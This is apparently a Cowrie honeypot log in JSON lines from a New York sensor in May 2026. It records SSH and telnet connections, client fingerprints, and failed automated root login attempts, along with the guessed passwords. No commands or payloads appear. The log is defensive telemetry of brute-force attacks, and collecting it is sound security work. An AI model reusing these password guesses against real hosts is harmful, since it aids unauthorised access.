{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:59.208447Z","src_ip":"194.113.233.25","session":"ebe474f0a84a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:59.282416Z","src_ip":"194.113.233.25","session":"ebe474f0a84a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061989","message":"login attempt [root/22061989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:59.661677Z","src_ip":"194.113.233.25","session":"ebe474f0a84a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:41:00.760701Z","src_ip":"194.113.233.25","session":"ebe474f0a84a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33078,"dst_ip":"159.203.135.109","dst_port":23,"session":"c416dc14702c","protocol":"telnet","message":"New connection: 79.139.59.21:33078 (159.203.135.109:23) [session: c416dc14702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:42:36.962551Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":37290,"dst_ip":"159.203.135.109","dst_port":22,"session":"59917b43d8d3","protocol":"ssh","message":"New connection: 176.32.39.21:37290 (159.203.135.109:22) [session: 59917b43d8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:05.248695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:05.253816Z","src_ip":"176.32.39.21","session":"59917b43d8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:05.378192Z","src_ip":"176.32.39.21","session":"59917b43d8d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:05.742462Z","src_ip":"176.32.39.21","session":"59917b43d8d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:06.865870Z","src_ip":"176.32.39.21","session":"59917b43d8d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38550,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff8987c2e5b2","protocol":"ssh","message":"New connection: 103.27.238.120:38550 (159.203.135.109:22) [session: ff8987c2e5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:16.576447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:16.581790Z","src_ip":"103.27.238.120","session":"ff8987c2e5b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41980,"dst_ip":"159.203.135.109","dst_port":22,"session":"a45bedbbee16","protocol":"ssh","message":"New connection: 103.27.238.116:41980 (159.203.135.109:22) [session: a45bedbbee16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:16.813017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:16.818922Z","src_ip":"103.27.238.116","session":"a45bedbbee16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:16.863275Z","src_ip":"103.27.238.120","session":"ff8987c2e5b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:17.087174Z","src_ip":"103.27.238.116","session":"a45bedbbee16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariposa","message":"login attempt [root/mariposa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:17.708407Z","src_ip":"103.27.238.120","session":"ff8987c2e5b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cdflm","message":"login attempt [root/cdflm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:17.889619Z","src_ip":"103.27.238.116","session":"a45bedbbee16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:18.997197Z","src_ip":"103.27.238.120","session":"ff8987c2e5b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:43:19.159204Z","src_ip":"103.27.238.116","session":"a45bedbbee16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0305769443512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:44:36.992976Z","src_ip":"79.139.59.21","session":"c416dc14702c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46422,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6dc37f3ef9","protocol":"ssh","message":"New connection: 80.66.85.226:46422 (10.17.0.5:22) [session: ee6dc37f3ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:09.748686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:09.753889Z","src_ip":"80.66.85.226","session":"ee6dc37f3ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:09.856726Z","src_ip":"80.66.85.226","session":"ee6dc37f3ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xander","message":"login attempt [root/xander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:10.144666Z","src_ip":"80.66.85.226","session":"ee6dc37f3ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:11.242399Z","src_ip":"80.66.85.226","session":"ee6dc37f3ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49618,"dst_ip":"10.17.0.5","dst_port":22,"session":"d217812786c5","protocol":"ssh","message":"New connection: 51.250.105.222:49618 (10.17.0.5:22) [session: d217812786c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:29.045171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:29.053763Z","src_ip":"51.250.105.222","session":"d217812786c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:29.179821Z","src_ip":"51.250.105.222","session":"d217812786c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:29.564224Z","src_ip":"51.250.105.222","session":"d217812786c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:45:30.694165Z","src_ip":"51.250.105.222","session":"d217812786c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33588,"dst_ip":"10.17.0.5","dst_port":22,"session":"df5caa466b27","protocol":"ssh","message":"New connection: 147.45.199.80:33588 (10.17.0.5:22) [session: df5caa466b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:06.479470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:06.486312Z","src_ip":"147.45.199.80","session":"df5caa466b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:06.582863Z","src_ip":"147.45.199.80","session":"df5caa466b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:06.871997Z","src_ip":"147.45.199.80","session":"df5caa466b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:07.971335Z","src_ip":"147.45.199.80","session":"df5caa466b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50174,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6eacdf3a9a8","protocol":"ssh","message":"New connection: 147.45.211.215:50174 (10.17.0.5:22) [session: d6eacdf3a9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:12.351723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:12.356567Z","src_ip":"147.45.211.215","session":"d6eacdf3a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:12.548807Z","src_ip":"147.45.211.215","session":"d6eacdf3a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"virus","message":"login attempt [root/virus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:13.139633Z","src_ip":"147.45.211.215","session":"d6eacdf3a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:46:14.329944Z","src_ip":"147.45.211.215","session":"d6eacdf3a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43426,"dst_ip":"159.203.135.109","dst_port":22,"session":"66095065523c","protocol":"ssh","message":"New connection: 62.133.62.83:43426 (159.203.135.109:22) [session: 66095065523c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:04.767933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:47:04.773531Z","src_ip":"62.133.62.83","session":"66095065523c","protocol":"ssh"}
